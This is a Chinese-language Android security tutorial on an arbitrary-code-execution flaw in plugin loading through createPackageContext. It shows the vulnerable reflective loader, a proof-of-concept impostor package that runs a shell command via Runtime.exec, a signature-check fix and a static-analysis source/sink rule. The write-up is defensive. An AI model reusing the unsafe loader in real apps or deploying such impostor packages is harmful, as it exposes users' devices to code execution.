Appearance
android第三方包上下文任意代码执行
在安卓中可以通过createPackageContext来访问和使用第三方的资源以及代码,可以利用这种机制来作为app的一种插件机制. 但是如果设计的不恰当,就有可能造成任意代码执行问题
漏洞的本质
java
public static void processModule(Context context, String packageName) {
Context appContext = context.createPackageContext(packageName, CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
ClassLoader classLoader = appContext.getClassLoader();
Object obj = classLoader.loadClass("com.example.myapplicationcallee.MainInterface").getMethod("getInterface").invoke(null);
}
首先利用createPackageContext
来获取到第三方App的Context,进而可以利用这个context来访问其代码,资源等. 这里是通过反射来执行第三方App的某个函数.
利用这种方式,可以实现动态插件的目的,但是如果因为设计不当,就可能会存在任意代码执行的漏洞,具体来说就是,可以恶意安装符合processModule规则要求的package,这些package的名称也符合我们的插件名称.
伪造同名package进行攻击
java
package com.example.myapplicationcallee;
import android.util.Log;
public class MainInterface {
public static Object getInterface() {
try {
Process process= Runtime.getRuntime().exec("ls -l /");
Log.e("exec","code exec!!!");
process.waitFor();
}
catch (Throwable th) {
}
return null;
}
}
如何防止
packageName可以伪造,但是package的签名是不能伪造的,我们只要验证package的签名即可,具体来说就是:
packageManager.checkSignatures(packageName, context.getPackageName()) == PackageManager.SIGNATURE_MATCH
,必须相当,然后才去执行相关代码.
java
public static void processModule_security(Context context, String packageName) {
PackageManager packageManager = context.getPackageManager();
if (packageManager.checkSignatures(packageName, context.getPackageName()) == PackageManager.SIGNATURE_MATCH){
Context appContext = context.createPackageContext(packageName, CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);
ClassLoader classLoader = appContext.getClassLoader();
Object obj = classLoader.loadClass("com.example.myapplicationcallee.MainInterface").getMethod("getInterface").invoke(null);
}
}
这个是改进后的安全版本.
其他问题
这个漏洞,我在android api25上是可以复现,但是在api30上却不可以,应该是高版本做了相关的安全限制.
自动扫描这一类漏洞
规则就是:
Source: android.content.Context.createPackageContext的返回值
Sink: loadClass的this指针